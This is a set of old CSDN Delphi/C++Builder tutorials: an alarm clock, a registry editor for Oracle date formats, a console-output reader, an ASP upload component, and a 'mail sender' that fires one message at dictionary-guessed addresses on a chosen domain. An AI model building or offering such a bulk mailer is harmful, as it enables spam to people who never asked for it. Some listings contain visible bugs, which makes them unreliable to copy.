timdrow(tim2,33,2);
IF (TIM2<>59) AND (TIM4<>0) THEN timdrow(tim1-1,26,3) ELSE TIMDROW(TIM1,26,3);
tim2:=strtofloat(str2);
str2:=copy(str1,pofse+3,2);
timdrow(tim3,39,1);
IF CLOCKBELL>-1 THEN
BEGIN
IF (CLOCKBELL<>0)and(pop2.checked) THEN
PlaySound(PChar('TIMEBELL'), hInstance,
snd_ASync or snd_Resource);//时钟的整点“钟声”发声
DEC(CLOCKBELL);
END;
if (pop3.checked)and(strtotime(dtim)<=time()) then//判断是否到了定时的时间
begin
form2.Button2.Caption:='取消';
clockbell:=120;
form2.Show; //显示给自己的提示。
end;
END;
end;

procedure TForm1.FormCreate(Sender: TObject); //读入程序开始的初始化设定
var
str1,str2:string;
begin
tmfilename:=ExtractFilePath(Application.EXEName)+'clock1.ini';
timini:=TIniFile.Create(tmfilename);
with timini do
begin
Textdef:=readString('内容','文字','在这里输入您给自己的提醒');
dtim:=readstring('参数','时间','23:59:59');
pop1.checked:=readBool('参数','报时允许',true);
pop2.checked:=readBool('参数','秒响允许',true);
pop3.checked:=readBool('参数','定时允许',false);
form1.Left:=readinteger('位置','X坐标',566);
form1.top:=readinteger('位置','Y坐标',8);
end;
timini.free;
dtme:=time();
pop2.checked:=true;
pop1.Checked:=true;
str1:=timetostr(time());
STR2:=COPY(STR1,2,1);
If str2=':' then pofse:=0 else pofse:=1;
image1.Canvas.BRUSH.COLOR:=CLBLACK;;
str2:=copy(str1,pofse+6,2);
tim3:=strtofloat(str2);
str2:=copy(str1,pofse+3,2);
tim2:=strtofloat(str2);
str2:=copy(str1,1,pofse+1);
tim1:=strtofloat(str2);
CLOCKBELL:=-1;
end;

procedure TForm1.Image1Click(Sender: TObject);//表盘鼠标点击时的的处理
begin
PopupMenu1.Popup(FORM1.LEFT+40,FORM1.TOP+150);
end;

procedure TForm1.pop1Click(Sender: TObject);
begin
if pop1.checked then pop1.checked:=false else pop1.checked:=true;
form1.tiniwr();
end;

procedure TForm1.pop2Click(Sender: TObject);
begin
if pop2.checked then pop2.checked:=false else pop2.checked:=true;
form1.tiniwr();
end;

procedure TForm1.pop4Click(Sender: TObject);
begin
form2.show;
form1.tiniwr();
end;

procedure TForm1.pop5Click(Sender: TObject);
begin
close;
end;

procedure TForm1.pop3Click(Sender: TObject);
begin
if pop3.Checked then
begin
pop3.Checked:=false;
form2.Button2.Caption:='取消';
end
else
begin
pop3.Checked:=true;
form2.Button2.Caption:='关闭';
end;
form1.tiniwr();
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
timini:=TIniFile.Create('tmfilename');
with timini do
begin
Writeinteger('位置','X坐标',form1.Left);//保存时钟窗口的初始 X 坐标
Writeinteger('位置','Y坐标',form1.top);//保存时钟窗口的初始 Y 坐标
end;
timini.free;

end;

procedure TForm1.N1Click(Sender: TObject);
begin
showmessage('模拟闹钟 0.1，'+#13+'　　Copy(R)ight by Suye.2001');;
end;

end.
好了，经过以上的一些操作后，我们的一个闹钟就几呼完成了，您只要做一些
小变化就全部完成了，OK,就聊到这，您如果还有什么问题，欢迎到我的主页
http://www.suye.8u8.com 询问，说不定您将会得到不错的收获哦。
梦寻，2001.02.04


CSDN_文档中心_用 Delphi 作个发信机（补充）

嗨，大家好，梦寻不小心来了个马后炮，因为贴子发送完后，没立即修改，故而只好以补充的形式送出，请大家多多见谅。
    发信机的设计运行界面如下。(注意：在状态栏中共需有 4 个分栏,另，如果您想以最少的工作量完成“发信机”的制作，那吗您可以向小梦要完整的程序代码，小梦的伊妹儿是su_ye@163.net)。


CSDN_文档中心_用 Delphi 做个发信机

hai,大家好，我是梦寻，说来这应算是我的第二次发帖了，这回小梦给大家带来的是一个发信机，不知大家喜不喜欢。如果不满意的话，不要紧，您就狠狠的训梦寻一顿。Ok,如果您认为还可以的话请别忘了投梦寻一票哦,小梦先在这说声谢谢了。^_^

ok,还是那句老话，转入正题，现在我们就来做一个发信机。

首先我们应在工程中加入以下元件。

组件名 caption 关联的组件
Label1 邮件服务器地址： Edit1
Label2 帐号名： Edit2
Label3 端口号： Edit3
Label4 收信群体服务器地址：Edit4
Label5 收信者名称： ComboBox1
Label6 信件主题信息： Edit5
Label7 所要发送信件： Edit6
Label8 信件附件路径： ListBox1
Label9 发信显示的信息名： Edit8
Label10 发信人 Email 地址：Edit9
CheckBox1 穷举式发信
Button1 开始发信
Button2 读入字典文件
Button3 ... Edit6
Button4 增加/ ListBox
Button5 清除 ListBox
Panel1
Panel2
StatusBar1
OpenDialog1
NMSMTP1
ListBox1

好的，当我们加完了以上所有的组件后，并编好位置后，接下来我们就可以把以下代码以覆盖的形式拷入Delphi 的代码编辑栏中。

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Psock, NMsmtp, ExtCtrls, ComCtrls;

type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
Panel1: TPanel;
Label9: TLabel;
Edit8: TEdit;
Edit9: TEdit;
Label10: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Edit6: TEdit;
Edit5: TEdit;
Button3: TButton;
Button4: TButton;
Panel2: TPanel;
Label1: TLabel;
Label4: TLabel;
Edit4: TEdit;
ComboBox1: TComboBox;
Button1: TButton;
Button2: TButton;
CheckBox1: TCheckBox;
Label5: TLabel;
Edit2: TEdit;
Label2: TLabel;
Label3: TLabel;
Edit3: TEdit;
StatusBar1: TStatusBar;
OpenDialog1: TOpenDialog;
ListBox1: TListBox;
Edit1: TEdit;
Button5: TButton;
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure NMSMTP1Success(Sender: TObject);
procedure NMSMTP1Failure(Sender: TObject);
procedure SendNextmail(var datteinc:integer);
procedure Button1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure NMSMTP1ConnectionFailed(Sender: TObject);
procedure NMSMTP1ConnectionRequired(var Handled: Boolean);
procedure NMSMTP1InvalidHost(var Handled: Boolean);
procedure FormCreate(Sender: TObject);
procedure Edit1Change(Sender: TObject);
procedure Edit2Change(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Edit8KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit9KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit6KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit5KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit2KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit4KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure ComboBox1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure helpshow;
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
sendsuc,sendfal,cursennum,totaco:integer;
connal,startsen:boolean;
implementation

{$R *.DFM}
procedure TForm1.helpshow;
begin
showmessage(
#13+'┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓'+#13+
'┃ 在使用本发信机发信时，应先作完以下几项: ┃'+#13+
'┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫'+#13+
'┃ 1 在收信地址栏中输入收信群体的地址 ┃'+#13+
'┃ 例:收信体为 xxx@yyy.nnn 则应在其中填入:yyy.nnn ┃'+#13+
'┃ ┃'+#13+
'┃ 2 由于本发信机仅是个范例故而不具备有穷举发信功能，因此您应┃'+#13+
'┃ 在收信栏中手动输入收信者名或读入一字典文件，格式举例如下┃'+#13+
'┃ 例,发给 xx1、xx2 则每输完一个，按回车键一次) ┃'+#13+
'┃ ┃'+#13+
'┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫'+#13+
'┃ 本发信机仅做为一个范例，如果您用它来做一些不合法的事情， ┃'+#13+
'┃ 一切后果自行负责. ┃'+#13+
'┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛'+#13+
' Copy(R)ight by hhq,2001.02.07 HomePage:www.suye.8u8.com');
end;

procedure TForm1.SendNextmail(var datteinc:integer);
begin
if ComboBox1.Items.Count>cursennum then
begin
inc(datteinc);
statusbar1.Panels[0].Text:='总发送了('+inttostr(sendsuc+sendfal)+')次';
statusbar1.Panels[1].Text:='成功发送('+inttostr(sendsuc)+')封';
statusbar1.Panels[2].text:='当前正发送:'+combobox1.Items.Strings[cursennum]+'@'+edit4.Text;
ComboBox1.text:=ComboBox1.items.strings[cursennum];
inc(cursennum);
NMSMTP1.PostMessage.Attachments.AddStrings(listbox1.Items);
NMSMTP1.PostMessage.ToAddress.Add(combobox1.Items.Strings[cursennum]+'@'+edit4.Text);
NMSMTP1.SendMail;
end else
begin
startsen:=false;
button1.Caption:='开始发信';
showmessage('请读入新发信进程以便进行信件发送。'+#13+' (按 F1 键可获得帮助信息)');
edit1.Enabled:=true;
edit2.Enabled:=true;
edit3.Enabled:=true;
edit4.Enabled:=true;
combobox1.Enabled:=true;
button2.Enabled:=true;
button1.Enabled:=false;
edit4.SetFocus;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
if opendialog1.Execute then
begin
edit6.text:=opendialog1.FileName;
NMSMTP1.PostMessage.Body.LoadFromFile(edit6.text);
end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
if opendialog1.Execute then
begin
ListBox1.Items.Add(opendialog1.filename);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if opendialog1.Execute then
begin
button1.Caption:='开始发信';
button1.Enabled:=true;
startsen:=false;
sendsuc:=0;
sendfal:=0;
cursennum:=0;
ComboBox1.Items.LoadFromFile(opendialog1.FileName);
ComboBox1.text:=ComboBox1.items.strings[0];
totaco:=combobox1.Items.Count;
statusbar1.Panels[3].text:='总共('+inttostr(totaco)+')封';
end
else
begin
showmessage('由于您未选择字典文件，因此请您在收信栏中手工填加。');
combobox1.SetFocus;
end;
end;

procedure TForm1.NMSMTP1Success(Sender: TObject);
begin
if startsen then SendNextmail(sendsuc);
end;

procedure TForm1.NMSMTP1Failure(Sender: TObject);
begin
if startsen then SendNextmail(sendfal);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if edit4.text='' then
begin
showmessage('请在收信服务器栏中填入收信群体的服务器'+#13+
' 例如:要寄到 xxx@yyy.nnn 则填入 yyy.nnn');
edit4.SetFocus;
end
else
if combobox1.text='' then
begin
showmessage('请读入地址字典文件。');
button2.SetFocus;
button2.Click;
end
else
begin
if startsen then
begin
startsen:=false;
button1.Caption:='继续发信';
edit1.Enabled:=true;
edit2.Enabled:=true;
edit3.Enabled:=true;
edit4.Enabled:=true;
combobox1.Enabled:=true;
button2.Enabled:=true;
end
else
begin
edit1.Enabled:=false;
edit2.Enabled:=false;
edit3.Enabled:=false;
edit4.Enabled:=false;
combobox1.Enabled:=false;
button2.Enabled:=false;
startsen:=true;
NMSMTP1.Host := Edit1.Text;
NMSMTP1.Port := StrToInt(Edit3.Text);
NMSMTP1.UserID := Edit2.Text;
button1.Caption:='暂停发信';
{if not connal then
begin
NMSMTP1.Connect;
connal:=true;
showmessage('yes');
end;}
NMSMTP1.PostMessage.FromAddress := Edit9.Text;
NMSMTP1.PostMessage.FromName := Edit8.Text;
NMSMTP1.PostMessage.Subject := Edit5.Text;
SendNextmail(sendsuc);
end;
end;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
NMSMTP1.Abort;
end;

procedure TForm1.NMSMTP1ConnectionFailed(Sender: TObject);
begin
ShowMessage('连接失败');
connal:=false;;
end;

procedure TForm1.NMSMTP1ConnectionRequired(var Handled: Boolean);
begin
If MessageDlg('您还未连线是否进行连接', mtConfirmation, mbOkCancel, 0) = mrOk then
Begin
Handled := TRUE;
NMSMTP1.Connect;
End;

end;

procedure TForm1.NMSMTP1InvalidHost(var Handled: Boolean);
var
tmpstr:string;
begin
If InputQuery('输入邮件服务器地址!', '请输入邮件服务器地址:',tmpstr) then
Begin
NMSMTP1.Host := tmpstr;
edit1.text:=tmpstr;
Handled := TRUE;
End;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
connal:=false;
startsen:=false;
end;

procedure TForm1.Edit1Change(Sender: TObject);
var
tmpstr:string;
begin
tmpstr:=edit1.text;
NMSMTP1.Host := tmpstr;
end;
procedure TForm1.Edit2Change(Sender: TObject);
begin
NMSMTP1.UserID := Edit2.Text;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
ListBox1.Clear;
end;

procedure TForm1.Edit8KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_return then edit9.SetFocus;
end;

procedure TForm1.Edit9KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_return then edit5.SetFocus;
end;

procedure TForm1.Edit6KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_return then edit1.SetFocus;
end;

procedure TForm1.Edit5KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_return then button3.SetFocus;
end;

procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_return then edit2.SetFocus;

end;

procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_return then edit4.SetFocus;
end;

procedure TForm1.Edit4KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (key=vk_return)then if (combobox1.Items.Count=0) then button2.SetFocus else button1.setfocus;
end;

procedure TForm1.ComboBox1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (key=vk_return) and (comboBox1.Text<>'') then
begin
ComboBox1.Items.Add(ComboBox1.text);
ComboBox1.text:='';
totaco:=combobox1.Items.Count;
statusbar1.Panels[3].text:='总共('+inttostr(totaco)+')封';
end;
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_f1 then form1.helpshow;
end;

end.

好了，完成以上几步后，接下来我们只要为各个组件联系到各自所对应的事件，那吗我们用 Delphi 所做的发信机也就几呼完成了。当然您也可以对它进行修改，以让它更符合您的口味。虽然步骤多了点，不过至少我们做出了自己的一个发信机。

最后偷偷的告诉您一下，您想偷懒吗，如果是，那吗，嘿嘿…，那就..

快找小梦要完整的程序代码，可要快哦，不然小梦过几天就跑掉了哦。小梦的伊妹儿是: su_ye@163.net ，主页 www.suye.8u8.com


CSDN_文档中心_用BCB编写一个改写oracle日期显示格式的程序

用BCB编写一个改写oracle日期显示格式的程序
黑兵网站 http://www.ancn.net E-mail:621150@0451.com QQ:621150

#include <vcl.h>
#pragma hdrstop
#include <Registry.hpp>
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{
//读注册表
TRegistry *RegLiveFpcnR = new TRegistry;
try
{
RegLiveFpcnR->RootKey = HKEY_LOCAL_MACHINE;
if(RegLiveFpcnR->OpenKey("\\SOFTWARE\\ORACLE",true) != false)
CSpinEdit1->Text = RegLiveFpcnR->ReadString("NLS_DATE_FORMAT");
}
__finally
{
RegLiveFpcnR->CloseKey();
delete RegLiveFpcnR;
}
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button2Click(TObject *Sender)
{
//写注册表
TRegistry *RegLiveFpcnW = new TRegistry;
try
{
RegLiveFpcnW->RootKey = HKEY_LOCAL_MACHINE;
if(RegLiveFpcnW->OpenKey("\\SOFTWARE\\ORACLE",true) != false)
RegLiveFpcnW->WriteString("NLS_DATE_FORMAT",Trim(CSpinEdit2->Text.c_str()));
ShowMessage("日期格式设置成功！");
}
__finally
{
RegLiveFpcnW->CloseKey();
delete RegLiveFpcnW;
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormShow(TObject *Sender)
{
CSpinEdit2->Items->Add("YYYY-MM-DD");
CSpinEdit2->Items->Add("YYYY/MM/DD");
CSpinEdit2->Items->Add("MM-DD-YYYY");
CSpinEdit2->Items->Add("MM/DD/YYYY");
CSpinEdit2->Items->Add("MM-DD-YY");
CSpinEdit2->Items->Add("MM/DD/YY");
CSpinEdit2->Items->Add("DD-MM-YYYY");
CSpinEdit2->Items->Add("DD/MM/YYYY");
CSpinEdit2->Items->Add("DD-MM-YY");
CSpinEdit2->Items->Add("DD/MM/YY");
Label3->Caption="本程序是针对Oracle日期格式更改而设计的，\n设计环境：Windows98/Oracle7 \n适用于客户端和单机版用户。建立或修改注册表键值：";
}
//---------------------------------------------------------------------------


CSDN_文档中心_用CreateProcess读取Console程序的显示信息和返回结果

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
OpenDialog1: TOpenDialog;
Button2: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }

function WinExecAndWait32(FileName:String;Visibility:Integer;var mOutputs:string):Cardinal;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
function TForm1.WinExecAndWait32(FileName:String;Visibility:Integer;var mOutputs:string):Cardinal;
var
sa:TSecurityAttributes;
hReadPipe,hWritePipe:THandle;
ret:BOOL;
strBuff:array[0..255] of char;
lngBytesread:DWORD;

WorkDir:String;
StartupInfo:TStartupInfo;
ProcessInfo:TProcessInformation;
begin
FillChar(sa,Sizeof(sa),#0);
sa.nLength := Sizeof(sa);
sa.bInheritHandle := True;
sa.lpSecurityDescriptor := nil;
ret := CreatePipe(hReadPipe, hWritePipe, @sa, 0);

WorkDir:=ExtractFileDir(Application.ExeName);
FillChar(StartupInfo,Sizeof(StartupInfo),#0);
StartupInfo.cb:=Sizeof(StartupInfo);
StartupInfo.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
StartupInfo.wShowWindow:=Visibility;

StartupInfo.hStdOutput:=hWritePipe;
StartupInfo.hStdError:=hWritePipe;

if not CreateProcess(nil,
PChar(FileName), { pointer to command line string }
@sa, { pointer to process security attributes }
@sa, { pointer to thread security attributes }
True, { handle inheritance flag }
// CREATE_NEW_CONSOLE or { creation flags }
NORMAL_PRIORITY_CLASS,
nil, { pointer to new environment block }
PChar(WorkDir), { pointer to current directory name, PChar}
StartupInfo, { pointer to STARTUPINFO }
ProcessInfo) { pointer to PROCESS_INF }
then Result := INFINITE {-1} else
begin
// Form1.Hide;
// FileOpen(FileName,fmShareExclusive);
// SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
ret:=CloseHandle(hWritePipe);
mOutputs:='';
while ret do
begin
FillChar(strBuff,Sizeof(strBuff),#0);
ret := ReadFile(hReadPipe, strBuff, 256, lngBytesread, nil);
mOutputs := mOutputs + strBuff;
end;

Application.ProcessMessages;
WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
GetExitCodeProcess(ProcessInfo.hProcess, Result);
CloseHandle(ProcessInfo.hProcess); { to prevent memory leaks }
CloseHandle(ProcessInfo.hThread);
// Form1.Close; { exit application }
ret := CloseHandle(hReadPipe);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
Val:Cardinal;
mOutputs:string;
i:integer;
begin
Val:=WinExecAndWait32(Edit1.Text,SW_SHOWNORMAL,mOutputs);
Memo1.Lines.Add('******Result******'+#13#10+IntToStr(Val));
i:=1;
while i<=length(mOutputs) do
begin
if mOutputs[i]=#10 then
begin
Insert(#13,mOutputs,i);
i:=i+2;
end
else
Inc(i);
end;
Memo1.Lines.Add('******Echo******'+#13#10+mOutputs);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(ParamStr(0));
if OpenDialog1.Execute then
Edit1.Text:=Opendialog1.FileName;
end;

end.

源代码下载


CSDN_文档中心_用Delphi 6开发ASP上传组件详解

用Delphi 6开发ASP上传组件详解
左轻侯
2002.6.20

    文件上传是WEB开发中经常要用到的功能，但ASP本身和内置的组件都不支持文件上传功能。网上流
传的一些第三方组件虽然能够解决这个问题，但大多是要收费的，更别说Open Source了。本文将详细
剖析WEB文件上传的原理，以及一步步指导读者如何用Delphi6开发一个ASP上传组件。

源码和demo我已经发布在个人主页上
http://www.wushuang.net

1 Html文件分析
    首先我们来看一个html文件源码，文件名是test.htm，功能是提供用户上传的界面：

<html>
<body>
<center>
     <form name="mainForm" enctype="multipart/form-data"
action="test.asp" method=post>
        <input type=file name=mefile><br>
     <input type=hidden name=a1 value="fdsaf">
     <input type=hidden name=a2 value="fdsaf">
     <input type=hidden name=a3 value="fdsaf">
     <input type=hidden name=a4 value="fsdfsdsaf">
     <input type=hidden name=a5 value="这个是这个">
     <input type=text name=a6 value="fdsaf">
     <input type=submit name=ok value="OK">
     </form>
</center>
</body>
</html>

    这个文件里包含了一个名为mainForm的form，以及随手写的一些input域。注意这个form和一
般的form有两个不同的地方：一是它有一个type=file的域，没有value。用浏览器打开这个文件时，
这个域会表现为一个右侧有“浏览”字样的文件输入框，用户可以通过它来选择本地硬盘上的文件。二是
form有一个特殊的属性：enctype="multipart/form-data"。这个属性告诉浏览器要上传二进制文
件，并进行相应编码。
    这种编码会产生什么样的表单信息呢？让我们来看看test.asp，也就是接受表单的asp文件的源码，
它非常简单：

<%
formsize=request.totalbytes 　　'获得表单原始信息的长度
formdata=request.binaryread(formsize) 　　'读取表单原始信息

response.binarywrite formdata　　'返回表单原始信息
%>

    如读者在注释中了解的，这段代码的功能是将表单的原始信息返回。让我们来看看它的运行效果。将
这两个文件置于web目录下，访问test.htm。在文件输入框中，选择一个文件（我选了一个jpg图片，
不过最大不要太大）。提交，然后可以看到这样一堆乱七八糟的信息：

-----------------------------7d2227629012e Content-Disposition: form-data;
name="mefile"; filename="C:\Documents and Settings\aaa\My Documents\My
Pictures\zzjh.jpg" Content-Type: image/pjpeg （作者注：以下为乱码）
-----------------------------7d2227629012e Content-Disposition: form-data;
name="a1" fdsaf -----------------------------7d2227629012e Content-Disposition:
form-data; name="a2" fdsaf -----------------------------7d2227629012e
Content-Disposition: form-data; name="a3" fdsaf
-----------------------------7d2227629012e Content-Disposition: form-data;
name="a4" fsdfsdsaf -----------------------------7d2227629012e
Content-Disposition: form-data; name="a5" 这个是这个
-----------------------------7d2227629012e Content-Disposition: form-data;
name="a6" fdsaf -----------------------------7d2227629012e Content-Disposition:
form-data; name="ok" OK -----------------------------7d2227629012e--

    这就是用"multipart/form-data"方式编码的表单原始信息。其中那一段看起来是乱码的部分，就
是jpg图片的编码。
    分析一下这段信息的格式：

-----------------------------7d2227629012e 这是各个域之间的分隔符。
Content-Disposition: form-data; 说明这是表单中的域。
name="mefile"; 域的名称。
filename="C:\Documents and Settings\aaa\My Documents\My Pictures\zzjh.jpg" 上
传文件在本地硬盘上的名称。
Content-Type: image/pjpeg 文件类型。
后面是文件本身的数据。

    其它各个域的信息也可以以此类推。
    众所周知，在ASP中，使用request对象，可以访问用户提交表单的各个域。因为request对象
会对原始的表单信息进行解析，提取出表单中每个域的值。但是，request并不能解析这
"multipart/form-data"格式的表单信息。这就是ASP不能直接支持文件上传的原因所在。读者可以
试试，在test.asp中，用request("mefile")这样的格式，是不能读取到正确的信息的。
    问题的症结已经找到，解决的思路也很简单：用Delphi开发一个COM组件，接受这种原始表单信息，
将各个域一一提取出来，返回给asp文件。也就是完成request对象没有完成的功能。

2 用Delphi开发组件

    Delphi6对开发ASP组件提供了极好的支持，大大简化了我们的开发过程。
    启动Delphi 6，选择File-New-Other-ActiveX-ActiveX Library，这样就建立了一个
ActiveX库。将此Library改名为myobj，存盘。选择File-New-Other-ActiveX-Active Server
Object，在CoClassname中填入upfile，确定。这时会跳出一个标题为myobj.tlb的对话框，这是
Delphi特有的以可视化方式编辑COM接口的功能，用Delphi开发过COM的读者应该比较熟悉。
    在myobj下的名为Iupfile的Interface下，添加5个属性和一个方法。如果不懂得如何操作，
请参见Delphi参考书的相关部分。按F12可以看到生成的相应的myobj_tlb.pas文件，其中的
Iupfile接口应该是这个样子：

  Iupfile = interface(IDispatch)
    ['{5C40D0EB-5A22-4A1E-8808-62207AE04B51}']
    procedure OnStartPage(const AScriptingContext: IUnknown); safecall;
    procedure OnEndPage; safecall;
    function  Get_Form(Formname: OleVariant): OleVariant; safecall;
    function  Get_FileName: OleVariant; safecall;
    function  Get_FileSize: Integer; safecall;
    procedure FileSaveAs(FileName: OleVariant); safecall;
    function  Get_FileData: OleVariant; safecall;
    function  Get_FileType: OleVariant; safecall;
    property Form[Formname: OleVariant]: OleVariant read Get_Form;
    property FileName: OleVariant read Get_FileName;
    property FileSize: Integer read Get_FileSize;
    property FileData: OleVariant read Get_FileData;
    property FileType: OleVariant read Get_FileType;
  end;

    其中的OnStartPage方法和OnEndPage方法是Delphi默认生成的，其它的是手动加入的。
    切换到unit1.pas（也是Delphi自动生成的），改名为upfile.pas存盘。可以看到存在一个
Tupfile类的声明，它是继承自TASPObject类和Iupfile接口的。Delphi 6已经自动生成了相应
的代码。接下来的任务就是实现这个接口。
    除了完成Iupfile接口中的属性和方法之后，还需要补充一些东西，以便完成我们的任务。最终的
Tupfile类的声明如下：

  Tupfile = class(TASPObject, Iupfile)
  public
  protected
    procedure OnEndPage; safecall;  //页面开始
    procedure OnStartPage(const AScriptingContext: IUnknown); safecall;  //页面
结束
    procedure FileSaveAs(Filename: OleVariant); safecall;  //保存文件
    function Get_Form(Formname: OleVariant): OleVariant; safecall;  //
    function Get_FileName: OleVariant; safecall;
    function Get_FileSize: Integer; safecall;
    function Get_FileData: OleVariant; safecall;
    function Get_FileType: OleVariant; safecall;
  private
    FContentData:string;
    FFileData,FFileName,FFileType:string;
    FFormInfo:TStringList;
    function instr(str1,str2:string;startpos:integer):integer;
    procedure AnalyFormData(content:string);
  end;

    下面我们来一一分析这些成员的具体实现。

procedure Tupfile.OnStartPage(const AScriptingContext: IUnknown);
var
  AOleVariant : OleVariant;
  tmpvar : OleVariant;
  contentlength : integer;
  i,DeliCount,pos1,pos2,lastpos : integer;
  FDelimeter : string;
begin
  inherited OnStartPage(AScriptingContext);
  FFormInfo := TStringList.Create;

  contentlength := Request.TotalBytes;
  AOleVariant := contentlength;
  tmpvar := Request.BinaryRead(AOleVariant);
  for i := 1 to contentlength -1 do
  begin
    FContentData := FContentData + chr(byte(tmpvar[i]));
  end;

  pos1 := pos(#13#10,FContentData);
  FDelimeter := copy(FContentData,1,pos1+1);
  DeliCount := length(FDelimeter);
  lastpos := 1;

  pos1:=0;
  while pos2>=pos1 do
  begin
    pos1 := instr(FDelimeter,FContentData,lastpos);
    if pos1 = 0 then Break;
    pos1 := pos1 + DeliCount;
    pos2 := instr(FDelimeter,FContentData,pos1)-1;
    AnalyFormData(copy(FContentData,pos1,pos2-pos1-1));
    lastpos := pos2;
  end;
end;

    前面说过，OnStartPage方法是Delphi自动生成的，在装载页面时发生。在这个方法中，我们完
成一些初始化的任务：读取表单的原始数据，解析表单中的域，并存入相应的属性中，以备调用。
    由于Delphi已经对ASP中的对象进行了很好的封装，所以即使在Delphi环境下，也可以方便地调
用它们，就象在ASP中一样，例如Request.TotalBytes。首先将原始表单数据读入到一个
OleViarians类型的tmpvar中，然后通过一个循环，将它转换为Delphi中的string格式，并存放
在FContentData中。
    接下来，通过查找换行符，解析出分隔符的内容和长度。然后在一个循环中，用AnalyFormData成
员函数一一解析出每个域。初始化工作就这样完成了。

    再看AnalyFormData函数的实现：

procedure Tupfile.AnalyFormData(content: string);
var
  pos1,pos2:integer;
  FormName,FormValue:string;
  isFile:boolean;
begin
  isFile := false;
  pos1 := instr('name="',content,1)+6;
  pos2 := instr('"',content,pos1);
  FormName := copy(content,pos1,pos2-pos1);

  //检查是否文件
  pos1 := instr('filename="',content,pos2+1);
  if pos1 <> 0 then
  begin
    isFile := true;
    pos1 := pos1 + 10;
    pos2 := instr('"',content,pos1);
    FFilename := copy(content,pos1,pos2-pos1);
  end;

  pos1 := instr(#13#10#13#10,content,pos2+1)+4;
  FormValue := copy(content,pos1,length(content)-pos1);

  if isfile then
  begin
    FFileData := FormValue;
    //查找文件类型信息
    pos2 := instr('Content-Type: ',content,pos2+1);
    if pos2 <> 0 then
    begin
      pos2 := pos2 + 14;
      FFileType := copy(content,pos2,pos1-4-pos2);
    end;
  end
  else
  begin
  FFormInfo.add(FormName+'='+FormValue);
  end;
end;

    如注释中所表达的，AnalyFormData提取原始数据中的域。如果是域是文件类型，则将文件类型和
文件数据分别放入FFileType和FFileData中。如果是其它类型，则将名称和值放入一个TStringlist
类型的FFormInfo中。FFormInfo中维护着除文件类型外的所有域的信息，以“名称=值”的格式存放。

function Tupfile.Get_Form(Formname: OleVariant): OleVariant;
begin
    Result := FFormInfo.Values[Formname];
end;

    这个函数返回域的值。只需要简单地调用FFormInfo的values方法，就可以得到相应的值。这是
在Tstringlist类内部实现的。

function Tupfile.Get_FileName: OleVariant;
begin
  Result := ExtractFileName(FFileName);
end;

function Tupfile.Get_FileSize: Integer;
begin
  Result := length(FFileData);
end;

function Tupfile.Get_FileData: OleVariant;
var
  i:integer;
begin
  Result := VarArrayCreate( [0,length(FFileData)], varByte );
  for i := 0 to length(FFileData)-1 do
  begin
    Result[i] := Byte(FFileData[i+1]);
  end;
end;

